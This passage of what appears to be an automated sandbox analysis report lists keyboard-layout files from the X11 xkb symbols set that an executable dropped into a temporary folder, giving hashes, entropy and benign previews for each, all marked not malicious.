SHA1:	0B88937F82E0128D482C9947A460E19594AF0646
SHA-256:	43F691FB2A05E1DA7533B8D313E87D7F28AD4CEF855608A66F666B545D99896B
SHA-512:	47308051C44030D310622DF714D501AEA1FFDA7CEE4CD29CB7E1D46AA25902304945C5C58412B1ABC6E63C1772E1F4A74248A2E6541AE617E78519D3C2BF08B3
Malicious:	false
Preview:	partial default alphanumeric_keys .xkb_symbols "basic" {.. // Describes the differences between a very simple en_US. // keyboard and a very simple Norwegian keyboard... include "latin".. name[Group1]= "Norway - Mac";.. key <TLDE> {.[ bar, section ].};. key <AE02> {.[ 2, quotedbl, . at,. oneeighth.].};. key <AE03> {.[ 3,.numbersign, sterling, sterling.].};. key <AE04> {.[. 4, currency, . dollar,. dollar.].};. key <AE06> {.[ 6, ampersand .].};. key <AE07> {.[ 7, slash, . bar, backslash.] .};. key <AE08> {.[ 8, parenleft, bracketleft,. braceleft.].};. key <AE09> {.[ 9, parenright, bracketright,.braceright.].};. key <AE10> {.[ 0, equal .].};. key <AE11> {.[ plus, question ].};. key <AE12> {.[ de

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\macintosh_vndr\pt

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2592
Entropy (8bit):	4.445129327491806
Encrypted:	false
SSDEEP:	24:IW6BnrYZE+/dLN6xL777gD737tg7PRS67kocn1Mogb7KObHY6Yk8oJx74b0BSFcK:onrYZEtDKzxgI68ebfYC0t738O1frH
MD5:	46143F2E0B7B1453C9B9C4C1D455C558
SHA1:	400BF5504F3C4D3CA36E5CCB2677334580625827
SHA-256:	EE26F93914AC9ADD638DF55C32809A36FC74C6ABF35E7994D66ED9A9AEC50093
SHA-512:	16B93A26997C4BD1D6DDE54FC5A42E8244A87AABB8F8A405C0ED1A44D6D69D1819FF0F79A57C83388D596633EE81EF2AF691B48F080857544E21BD2CBC0B2ED9
Malicious:	false
Preview:	// mac version from Ricardo Cabral <bfe00991@mail.telepac.pt>..partial default alphanumeric_keys .xkb_symbols "basic" {.. // Describes the differences between a very simple en_US. // keyboard and a very simple Portuguese keyboard... include "latin".. name[Group1]= "Portugal - Mac";.. key <LSGT> {.[. less,. greater, . bar, userenbar.].};. key <AE02> {.[ 2,. quotedbl, . at, oneeighth.].};. key <AE03> {.[ 3,.numbersign, sterling, sterling .].};. key <AE04> {.[ 4,. dollar, section, dollar.].};. key <AE06> {.[ 6, ampersand .].};. key <AE07> {.[ 7, slash .].};. key <AE08> {.[ 8, parenleft, bracketleft, braceleft .].};. key <AE09> {.[ 9, parenright, bracketright, braceright .].};. key <AE10> {.[ 0, equal

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\macintosh_vndr\se

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2092
Entropy (8bit):	4.133710811884956
Encrypted:	false
SSDEEP:	24:a6BnrY8/EwHhWNEx3CSI1D71AovtSPRSYogb7V7CQJyKO87Q7327aDo714b1b73I:LnrYaEwBBWdZtgbReq1U67aE6xwC2bxn
MD5:	845EDB4E637368226A84989BE28118E5
SHA1:	2FE9C9B627C11200A5D64366977204ED1C0C9D7C
SHA-256:	C06CEB71A560BEFCA7F89E703AA3473A94B2963BBCFDBF36F76EC7DFFDB9CB17
SHA-512:	DC02844C32988715DB8C2DAC9D31342A6DB14A850414F172DA8C50D343F81BD45AFDBB1770BAE9DFCFD784B5EE1C8534FACAC4032C1AAB8DFFE9737BD2201BED
Malicious:	false
Preview:	partial default alphanumeric_keys .xkb_symbols "basic" {.. // Describes the differences between a very simple en_US. // keyboard and a very simple Swedish(Sweden) keyboard... include "latin".. name[Group1]= "Sweden - Mac";.. key <TLDE> {.[ section, degree.].};.. key <AE01> {.[ 1, exclam, copyright, exclamdown.].};. key <AE02> {.[ 2, quotedbl, at, oneeighth.].};. key <AE03> {.[ 3, numbersign, sterling, yen.].};. key <AE04> {.[ 4, currency, . dollar,. cent.].};. key <AE06> {.[ 6, ampersand .].};. key <AE07> {.[ 7, slash, . bar, backslash.].};. key <AE08> {.[ 8, parenleft, bracketleft, braceleft.].};. key <AE09> {.[ 9, parenright, bracketright, braceright.].};. key <

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\macintosh_vndr\us

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4203
Entropy (8bit):	4.91410151305969
Encrypted:	false
SSDEEP:	48:HM0BkwQCEfuXC35bq4Mnh2T7dCQvYw1N1u9j69K2CqBKSxt/fz:HndQCA5bhMnEdJLojonThL
MD5:	CD544485D342C969497C7A6DD567D199
SHA1:	6840F02982D1F9667029C56A91773E5DC20FFA19
SHA-256:	C19C8753C18482E513ACE8ACF11C3F0C0F9ABDF2E576380106077E44A35F9F26
SHA-512:	7DC4FA798C730BF632AC410A8840F9B559CCC12E0A16B2017DEE3EA9C737776F03AFA4E37DA332BA7F1C57622125544121EED6BC883F9A64CD8B415929D11EF5
Malicious:	false
Preview:	// symbols definition for a Macintosh "Extended" keyboard..xkb_symbols "extended" {.. name[Group1]= "USA";. key <ESC> {.[ Escape...].};.. key <TLDE> {.[ grave,.asciitilde.].};. key <AE01> {.[. 1,.exclam ..].};. key <AE02> {.[. 2,.at..].};. key <AE03> {.[. 3,.numbersign.].};. key <AE04> {.[. 4,.dollar..].};. key <AE05> {.[. 5,.percent..].};. key <AE06> {.[. 6,.asciicircum.].};. key <AE07> {.[. 7,.ampersand.].};. key <AE08> {.[. 8,.asterisk.].};. key <AE09> {.[. 9,.parenleft.].};. key <AE10> {.[. 0,.parenright.].};. key <AE11> {.[ minus,.underscore.].};. key <AE12> {.[ equal,.plus..].};.. key <AD01> {.[. q,.Q ..].};. key <AD02> {.[. w,.W..].};. key <AD03> {.[. e,.E..].};. key <AD04> {.[. r,.R..].};. key <AD05> {.[. t,.T..].};. key <AD06> {.[. y,.Y..].};. key <AD07> {.[. u,.U..].};. key <AD08> {.[. i,.I..].};. key <AD09> {.[. o,.O..].};. key <AD10> {.[. p,.P..].};. key <AD11> {.[

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\mao

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	595
Entropy (8bit):	4.71480995744059
Encrypted:	false
SSDEEP:	12:aBz160dJWf7KpAcaQdu7slh+9m+dgdC9mbJYY91ktC9maJEY911/eCyq3BbzqV:aT607Wf2phFlY9m+d6C9mdYY91P9maJc
MD5:	2FA6DE168EB1812443F26492034C70E6
SHA1:	E38818EED40511D9653C96272223A0C5B1C3E7A8
SHA-256:	4CF3D5533C3E5B059D9EF511D9DCE71BCD9F0183AAB9D11789DC81F71696DE1F
SHA-512:	96B0052D1D2271057025EE36D2E2AC06846DF0668DDCB21F99ED574444D9686495FB8D39EF1FA6B6369FA2B7A89409998A7D135511355B4BFDE55EAE9BC7763A
Malicious:	false
Preview:	default partial alphanumeric_keys.xkb_symbols "basic" {.. // Adds the macrons needed for the Maori language to. // a simple us keyboard layout... include "latin".. name[Group1]="Maori";.. key <AC01> { [ a, A, amacron, Amacron ] };. key <AD03> { [ e, E, emacron, Emacron ] };. key <AD08> { [ i, I, imacron, Imacron ] };.. key <AD09> { [ o, O, omacron, Omacron ] };. key <AD07> { [ u, U, umacron, Umacron ] };.. key <RALT> { type[Group1]="TWO_LEVEL",. [ ISO_Level3_Shift, Multi_key ] };. modifier_map Mod5 { <RALT> };.};.

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\md

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	5170
Entropy (8bit):	4.763364404605267
Encrypted:	false
SSDEEP:	48:SIbbxOVo9U1eABbSzktwZw6LreloMQ6aZYozcFTMdk2zoDkL6:3/xoeAB+UV8eloM37s6
MD5:	2596A31971CFD6BA1693DC186F1DBCF5
SHA1:	10B50AC9B3217211C1BEFFAE10FB01D6B794696C
SHA-256:	F4FBBFBD01A23F6F41C3E3107A5AAB8267A6EFFFFEE2D8C68259C21704D2CF88
SHA-512:	A1999F3B728CF760EA2C4D2F37850A84F6C654F55B4FD2C86769D5206D9ABAF81F82EA083AD3565257F7759E95C9C5CED51246502947478F1F27546B39B94AA6
Malicious:	false
Preview:	default partial alphanumeric_keys.xkb_symbols "basic" {.. include "ro".. name[Group1]="Moldavian";.};...// ..........................................................................................// . ~ . ! . " . # . ; . % . : . ? . * . ( . . ) . -- . + . . Back ..// . ` . 1 . 2 @ . 3 . 4 $ . 5 . . 6 ^ . 7 & . 8 . 9 . 0 . - . = . space ..// ..........................................................................................// . . . Q . . W . E . R . T . Y . U . I . O . P

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\me

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1742
Entropy (8bit):	4.957837976388892
Encrypted:	false
SSDEEP:	24:2PXbPKT60WVMv60BUyWH60WOrrrqH60Sujv60ShSqv60SDSPXbMDkA3uCqaAsSq1:GL6WVQB0bl0n4jLAbAs/c+
MD5:	33150E7878E987F3519782141C76E9D4
SHA1:	58782362B05DCE4DC52A9348208F4A904F3540B9
SHA-256:	CAE3AE89C0AA42F3A2FAC7194CC6B8C85601E9A6AB44B080789595E51383D1F5
SHA-512:	C9CE0BF2DF3D2D479B8E3D2B2B5552329944C40D7CDEAAC1455A4E20F6713AA270B99F51231B7FBCF1ED6D62D74135EF415FF4CD53A1976E218393E8F1AE3659
Malicious:	false
Preview:	// Montenegro keyboard mapping.//.// Initially, a copy of Serbian variants.//..default partial alphanumeric_keys.xkb_symbols "basic" {. include "rs(latin)". name[Group1]= "Montenegrin";.. key <AD06> { [ any, any, zacute, Zacute ] }; // z. key <AC02> { [ any, any, sacute, Sacute ] }; // s.};..partial alphanumeric_keys.xkb_symbols "cyrillic" {. include "rs(basic)". name[Group1]= "Montenegrin (Cyrillic)";.};..partial alphanumeric_keys.xkb_symbols "cyrillicyz" {. include "rs(yz)". name[Group1]= "Montenegrin (Cyrillic, Z and ZHE swapped)";.};..partial alphanumeric_keys.xkb_symbols "latinunicode" {. include "rs(latinunicode)". name[Group1]= "Montenegrin (Latin Unicode)";.. key <AD06> { [ any, any, zacute, Zacute ] }; // z. key <AC02> { [ any, any, sacute, Sacute ] }; // s.};..partial alphanumeric_keys.xkb_symbols "latinyz" {. include "rs(latinyz)". name[Group1]= "Montenegrin (Latin qwerty)";.. key <AB02> { [ any, any, zacute, Zacute ] }; // z. key <AC02> { [ any, any, sacute

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\mk

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	3105
Entropy (8bit):	4.477638245455727
Encrypted:	false
SSDEEP:	24:yJANT60NBp9oeOR4VbXY82kC8inAFqZz/goZd3QB7AgKqlUt93N4b97F91dllWZt:yJINIocPg7mjmVF9ri+QWZv7+
MD5:	C1048A595370A17B7682EF8BE35E7206
SHA1:	04FCC7CFD624CCFB09FE474ADF8AC96BF2D77FF6
SHA-256:	7F050C01EA58FFA9C7259B9FA1F828E8483BDA753A38C8B52052F2700DCEA39E
SHA-512:	EA51784AE83C120790575C5D15660CF6311564E0EBD0DE8594820106389759EF2CE6CF38F240F7DD66222BDD95C96262BEE3A639EE4FC86CFA267C71529399A0
Malicious:	false
Preview:	// based on keyboard map:.// Author: Damjan Georgievski <penguinista AT mail.net.mk>.// Revision: 1.5..default partial alphanumeric_keys.xkb_symbols "basic" { . name[Group1]= "Macedonian";.. key <AB01> { [ Cyrillic_ze, Cyrillic_ZE.].};. key <AC02> { [ Cyrillic_es, Cyrillic_ES.].};. key <AC01> { [ Cyrillic_a, Cyrillic_A.].};. key <AD01> { [ Cyrillic_lje, Cyrillic_LJE.].};. key <AD02> { [ Cyrillic_nje, Cyrillic_NJE.].};. key <AB03> { [ Cyrillic_tse, Cyrillic_TSE.].};. key <AB02> { [ Cyrillic_dzhe, Cyrillic_DZHE.].};. key <AC03> { [ Cyrillic_de, Cyrillic_DE.].};. key <AD03> { [ Cyrillic_ie, Cyrillic_IE.].};. key <AB04> { [ Cyrillic_ve, Cyrillic_VE.].};. key <AC04> { [ Cyrillic_ef, Cyrillic_EF.].};. key <AD05> { [ Cyrillic_te, Cyrillic_TE.].};. key <AD04> { [ Cyrillic_er, Cyrillic_ER.].};. key <AB06> { [ Cyrillic_en, Cyrillic_EN.].};. key

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\ml

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	3342
Entropy (8bit):	4.161007339754152
Encrypted:	false
SSDEEP:	48:S9oqMeymFXtaarL2hzWHQll3uf2qypxZBfm/a2g2PVR+xH32KvR2Uae/7gCssPHf:uoqMGaA2xWwM2qWxZpH2KvR2/47
MD5:	CAD49D08A31BF5C51BC98767290D6A64
SHA1:	721F150488E2C275C348FC178499FE57D9868B6C
SHA-256:	5DCFDAAC3ABA30DF0451D122A5294921C495C276126F1B542691BD772D73C6A7
SHA-512:	717A5D69EC4B26B69440B4383AEFF075B6E8809427F315A85658B176312CC70D4E358FC3DD6A1DEC858AEB51DC9958C599389705CF54ED6D0685CBB5183E560F
Malicious:	false
Preview:	default partial alphanumeric_keys.xkb_symbols "basic" {.. include "fr(basic)".. name[Group1]="Bambara";.. key <AB06>.{ [ n, N, U0272, U019D ].}; // n N . .. key <AC02>.{ [ s, S, U0161, U0160 ].}; // s S . .. key <AC05>.{ [ g, G, U0254, U0186 ].}; // g G . .. key <AC10>.{ [ m, M, U014B, U014A ].}; // m M . .. key <AD02>.{ [ z, Z, U017E, U017d ].}; // z Z . .. key <AD03>.{ [ e, E, U025B, U0190 ].}; // e E . ...};..partial alphanumeric_keys.xkb_symbols "fr-oss" {.. include "fr(oss)".. name[Group1]="French (Mali, alternative)";.. // . . on d replaces . .. // . . on j replaces . .. // . . on m replaces . .. // . . on z replaces . .. // . . on r replaces . .. // . . on p replaces . ... key <AC03>.{ [ d,

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\mm

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	3572
Entropy (8bit):	3.4705670952870045
Encrypted:	false
SSDEEP:	48:SWYhS5inia0iV+UvTbhzjbbMfJx0NBj6/kZhqzMnBE0Q1A+A38O6q:sIxat+ULyqgkZcyBZ3+q
MD5:	4C4051C6F0B48AA44008D9DC86AB5951
SHA1:	C38ECEAA72DAFBCB5C99BC32F46EC4BADF83F5AA
SHA-256:	1B70E47FE46CC58AB7B9C9F26773E62851CBBD654658CA67942F45FBA39FB1B2
SHA-512:	6C7490478E91A2E5E3049EBE21F91A85EF1BDF0A3392995753C803CA4ECFF1A8E1232A3C53F50ED95EC33A809C01BBF047AA00CBFF854CE68B222DE168DB1883
Malicious:	false
Preview:	default partial alphanumeric_keys.xkb_symbols "basic" {. name[Group1]= "Burmese";.. key <TLDE> { [ U1050, U100E, grave, asciitilde ] };. key <AE01> { [ U1041, U100D, 1, exclam ] };. key <AE02> { [ U1042, U1052, 2, at ] };. key <AE03> { [ U1043, U100B, 3, numbersign ] };. key <AE04> { [ U1044, U1053, 4, dollar ] };. key <AE05> { [ U1045, U1054, 5, percent ] };. key <AE06> { [ U1046, U1055, 6, asciicircum ] };. key <AE07> { [ U1047, U101B, 7, ampersand ] };. key <AE08> { [ U1048, asterisk, 8, asterisk ] };. key <AE09> { [ U1049, parenleft, 9, parenleft ] };. key <AE10> { [ U1040, parenright, 0, parenright ] };. key <AE11> { [ minus, underscore, minus, underscore ] };. key <AE12> { [ e

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\mn

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4274
Entropy (8bit):	4.339896226723803
Encrypted:	false
SSDEEP:	48:iwqAK5Z08M8uJwLmTu21JFnIVg47P6R2xgKH0XPq2knF+:ixAKX08MNNTuiX47P6R2xgKH0hkU
MD5:	2E2C0F619AF87E42B9004D459E0ED2D7
SHA1:	14321E1453BBDBAD58023926987876EBE8F50C4F
SHA-256:	8EBCD301822C8D584F9B585C47476B32B64A831867CE6B909F721138F147D620
SHA-512:	9815B03F6B66FB6F6DDE259271551D8834F17DA3FA2FF052E7D4090746615872C53F1958094F9BA6BCF95463A17D10CD86371B5F427DDFCFE9A592C417EF0FEA
Malicious:	false
Preview:	// based on:.// Mongolian standard keyboard.// Author Sanlig Badral <badral@chinggis.com>.// 2002/12/7 Version 1.0..default partial alphanumeric_keys.xkb_symbols "basic" {.. name[Group1]= "Mongolian";.. key <TLDE> { [ equal, . plus, ..degree ] };. key <AE01> { [ 1, numerosign, .multiply ] };. key <AE02> { [ 2, minus, .division ] };. key <AE03> { [ 3, quotedbl, .plusminus ] };. key <AE04> { [ 4, U20ae, ..notsign ] }; // Tugrik sign. key <AE05> { [ 5, colon,..NoSymbol .] };. key <AE06> { [ 6, period, notequal ] };. key <AE07> { [ 7, underscore, ampersand .] };. key <AE08> { [ 8, comma, .asterisk ] };. key <AE09> { [ 9, percent, .bracketleft ] };. key <AE10> { [ 0, question, .bracke

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\mokeypad

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	21673
Entropy (8bit):	5.260656894643468
Encrypted:	false
SSDEEP:	192:nPLOfI+KgPXs98zprgevZOPqvxr1LzzH5Bwc+/xK6ET3QS+KvpFDs/7cNAysbNaE:qXzP3we6IZE7QFn1jCD/fO0q6R
MD5:	F3B27B5B196CC21E3C4FFC16940963FF
SHA1:	41191245B1244C3D16B045E99DD0751D5BDC6543
SHA-256:	8816E6D43807235D9BA4CEEC419F696886719BF8785737A5286A6CB3A7629B0C
SHA-512:	19734F13931372E4B6618B3C3C7104217235F22BEEE1B06B1DB8C87B51D95201954339C229F0177F1E8B6D7318AFE02B8CC78E5217145D309659634FBF1A643A
Malicious:	false
Preview:	// $XKeyboardConfig$.// $Xorg: keypad,v 1.3 2000/08/17 19:54:43 cpqbld Exp $..partial hidden keypad_keys.xkb_symbols "overlay" {. include "keypad(overlay1)".};..partial hidden keypad_keys.xkb_symbols "overlay1" {.. // Begin "Keypad" section.. key <KP7> {.[ KP_7.],.overlay1=<KO7>.};. key <KP8> {.[ KP_8.],.overlay1=<KO8>.};. key <KP9> {.[ KP_9.],.overlay1=<KO9>.};.. key <KP4> {.[ KP_4.],.overlay1=<KO4>.};. key <KP5> {.[ KP_5.],.overlay1=<KO5>.};. key <KP6> {.[ KP_6.],.overlay1=<KO6>.};.. key <KP1> {.[ KP_1.],.overlay1=<KO1>.};. key <KP2> {.[ KP_2.],.overlay1=<KO2>.};. key <KP3> {.[ KP_3.],.overlay1=<KO3>.};.. key <KP0> {.[ KP_0.],.overlay1=<KO0>.};. key <KPDL> { .[ period.],.overlay1=<KODL>.};.. key <KO7> {.[ KP_7.].};. key <KO8> {.[ KP_8.].};. key <KO9> {.[ KP_9.].};.. key <KO4> {.[ KP_4.].};. key <KO5> {.[ KP_5.].};. key <KO6> {.[ KP_6.].};.. key <KO1> {.[ KP_1.].};. key <KO2> {.[ KP_2.

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\mopc

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	3610
Entropy (8bit):	5.087756347596275
Encrypted:	false
SSDEEP:	48:IKE2dEIQOHCJ2vvBmCSxtznzG4+CAWuGO8914C5:xPTXc3ZyE75
MD5:	1A329359571BB5E738E92797BC0E29C6
SHA1:	64E161A00A98F115F688994B6D520AB2F0F713F5
SHA-256:	BD6FF9BCC42E7052DC9D88FB403622F90EFBF7A0F4E0E7E51683265EAD6222BA
SHA-512:	720EE1FEC58CE681FDEE78279DFAB0638EFBBBDE84F30B2AB9835D1421622DEAFF75D9DFA72FA8CA8091FF9A96811D7542F4D24246A6F8393A9D228957412B4F
Malicious:	false
Preview:	// $XKeyboardConfig$..//.// $XFree86: xc/programs/xkbcomp/symbols/pc,v 1.9 2003/06/09 19:59:46 dawes Exp $..default partial alphanumeric_keys modifier_keys .xkb_symbols "pc105" {.. key <ESC> {.[ Escape...].};.. // the extra key on most European keyboards. key <LSGT> {.[ less, greater, bar, userenbar ].};.. // these keys are common to all layouts. key <BKSL> {.[ backslash,.bar..].};. key <SPCE> {.[ . space...].};.. include "pc(function)". include "pc(editing)". include "keypad(x11)".. key <BKSP> {.[ BackSpace, BackSpace.].};.. key <TAB> {.[ Tab,.ISO_Left_Tab.].};. key <RTRN> {.[ Return.].};.. key <CAPS> {.[ Caps_Lock.].};..// key <NMLK> {.[ Num_Lock, Pointer_EnableKeys..].};.. key <LFSH> {.[ Shift_L.].};. key <LCTL> {.[ Control_L.].};.. key <LWIN> {.[ Super_L...].};. modifier_map Mod4 { <LWIN> };.. key <RTSH> {.[ Shift_R.].};. key <RCTL> {.[ Control_R.].};.. key <RWIN> {.[ Super_R...].};. modifier_

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\mt

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2982
Entropy (8bit):	4.536991524924478
Encrypted:	false
SSDEEP:	48:n5yHDGYFyBYtGu3ODUHnQoBY3Y5A7ysNqk06/wGkODUHnUQujBY3Y5A7ysZ:5yjP/guAUHbyo5A7doN6/wGnUHijyo5k
MD5:	6C1062688E19425BF59BEC9C63433E0B
SHA1:	34042BA170D4274D447ACFE935FF711903DDF5CD
SHA-256:	355D9F485BCA5657EEFBEDC02989B148975CC4F1A872E50CF6A1CC63A80FB0B0
SHA-512:	602FD6ACB36F462721778C4609196FBF4071D3BDCF4637BC87B843B429207C4B2F8E1F7652E6F8395722B6DC2C5B5E3CA59031E4E33F00748BBE2FB642502A4E
Malicious:	false
Preview:	// Maltese keyboard map (based on MSA Standard DMS100).// by Ramon Casha (ramon.casha@linux.org.mt)..default partial alphanumeric_keys.xkb_symbols "basic" {.. include "latin".. name[Group1]="Maltese";.. // Copied from GB layout. key <AE02> { [ 2, quotedbl, twosuperior, oneeighth ] };. key <AE04> { [ 4, dollar, EuroSign, onequarter ] };. key <AC11> { [apostrophe, at, dead_circumflex, dead_caron] };. key <BKSL> { [numbersign, asciitilde, dead_grave, dead_breve ] };.. // The following four sets are the four additional letters, with the UK. // equivalents. key <TLDE>.{ [ cabovedot, Cabovedot, grave, notsign ].};. key <AD11>.{ [ gabovedot, Gabovedot, bracketleft, braceleft ].};. key <AD12>.{ [ hstroke, Hstroke, bracketright, braceright ].};. key <LSGT>.{ [ zabovedot, Zabovedot, backslash, bar ].};.. // Euro symbol. key <AE03>.{ [ 3, EuroSign, sterling

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\mv

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	3398
Entropy (8bit):	3.979964307135636
Encrypted:	false
SSDEEP:	48:yNzytF1HPQYHIh0y1y8Yyjz8lzlOVe+feEv:eavQ3TYyjz8lz9XEv
MD5:	C70589FDB196F67A3515A36DDF880DF7
SHA1:	0D96480877ECE73DD777514E784BD82C22AC764C
SHA-256:	9D985FCBDF460E71F54E058E3ED7ED16925BB2041ABB5DF777D602753C03DBE8
SHA-512:	77B4E9218A89A899AEFB6EFAA4FF55B6C6195787D15D66056138DECB10CC23235688EE6377E6B566754F6895A4B491A77FDBA9C88C54272D5C97F87C8B03AFC3
Malicious:	false
Preview:	// Keymap for Thaana/Dhivehi script (Dhivehi language)...default partial alphanumeric_keys.xkb_symbols "basic" {.. name[Group1]="Dhivehi";.. key <TLDE> { [ grave, asciitilde ] };. key <AE01> { [ 1, exclam ] };. key <AE02> { [ 2, at ] };. key <AE03> { [ 3, numbersign ] };. key <AE04> { [ 4, dollar ] };. key <AE05> { [ 5, percent ] };. key <AE06> { [ 6, asciicircum ] };. key <AE07> { [ 7, ampersand ] };. key <AE08> { [ 8, asterisk ] };. key <AE09> { [ 9, parenleft ] };. key <AE10> { [ 0, parenright ] };. key <AE11> { [ minus, underscore ] };. key <AE12> { [ equal,

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\nbsp

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	4406
Entropy (8bit):	5.284929043465918
Encrypted:	false
SSDEEP:	96:qbcPZ/htys94BMxSGB67GB6XGB6bcjMqyoS8hb:9x/Os0WuWiWGcjUoBp
MD5:	B184716682C04D9DD7B8472F1DB62B62
SHA1:	FBFC0FD9B4B9F3893D4520F562F2262FCCE3881A
SHA-256:	455BEE065C996300F866632D8EBC537DDF2A2EEB30A349FCC7557230B24E5E07
SHA-512:	3582A3AF10DF1FE3CD2EF7940B91E4FB427BF8D72FF610299FC07BA3584BBC53E5D40CA32A834DB5A760693BEBBAA6CD0CC6761B91DC17CA7CE25F8F557D02ED
Malicious:	false
Preview:	// Let Space key provide No-Break Space (NBSP), Narrow No-Break Space (NNBSP),.// Zero-Width Non-Joiner (ZWNJ), and Zero-Width Joiner (ZWJ) for the desired.// levels....////////////////////////////////////////.// Only Space..partial.xkb_symbols "none" {. key <SPCE> {. type[Group1]="ONE_LEVEL",. symbols[Group1]= [ space ]. };.};...////////////////////////////////////////.// No-Break Space..partial.xkb_symbols "level2" {. key <SPCE> {. type[Group1]="TWO_LEVEL",. symbols[Group1]= [ space, nobreakspace ]. };.};...// level3 & level3ns provide no-breaking spaces starting from level3.// This is good for typographers but experience shows many users accidently.// type no-breaking spaces on the CLI (resulting in errors).// Used by fr(latin9) and lt(std).partial.xkb_symbols "level3" {. key <SPCE> {. type[Group1]="FOUR_LEVEL",. symbols[Group1]= [ space, space, nobreakspace ]. };.};..// level3s kills fourth level.// Used by ca(multix).partial.xkb_symbols "level3s" {. key <S

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\nec_vndr\jp

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	6076
Entropy (8bit):	5.10077143720479
Encrypted:	false
SSDEEP:	96:zCzUqYQHKQgrTLCBrBtFbWOduf7v3VcT8rAryKtV8w:8YQHHgrTedbWOcv3R0yKt6w
MD5:	65FE5321315469BAA288CA8F40067830
SHA1:	2DD05C96A9F6C70E03ECD545BDB0E8D633DF4456
SHA-256:	9B053CF9B94208A99AD25F0CDC625054952E618DA3F8A41F5E0DDF5239651D96
SHA-512:	276F34F8301A92EF30993669149A4798D0E90D2E74C1E751402E0282C4508B360B9C677CEE44A42878816667C5B3DDA4AB49C43A8347C24FFF37E25012D8794E
Malicious:	false
Preview:	//.//Copyright 1996, 1998 The Open Group.//.//Permission to use, copy, modify, distribute, and sell this software and its.//documentation for any purpose is hereby granted without fee, provided that.//the above copyright notice appear in all copies and that both that.//copyright notice and this permission notice appear in supporting.//documentation..//.//The above copyright notice and this permission notice shall be.//included in all copies or substantial portions of the Software..//.//THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,.//EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF.//MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT..//IN NO EVENT SHALL THE OPEN GROUP BE LIABLE FOR ANY CLAIM, DAMAGES OR.//OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE,.//ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR.//OTHER DEALINGS IN THE SOFTWARE..//.//Except as contained in this notice, the name of

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\ng

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	6263
Entropy (8bit):	4.377421514355354
Encrypted:	false
SSDEEP:	96:o+k5tn5r5F085W8ELQADTJa8GYHXJ5+Lj0YsyMc1jNw:o7/r5F9pEzNHX+cGDu
MD5:	C3ADE66A520BEC7549F759D2E6F51B63
SHA1:	C96D366A130E245104E9278A831387CF10671559
SHA-256:	9892A9920DD5126B4C9032843C9365785EF151B0C9564AA52408FA112CFA5A78
SHA-512:	5B08A201584B66EFB6B4D40B2B87CC9AEF3C762A1F3DC9BC6104C682622EFFAD69222A9B35B75FC65A1FDD1B41292C5022B8B85F9A09E395AFF0D4C677A23C75
Malicious:	false
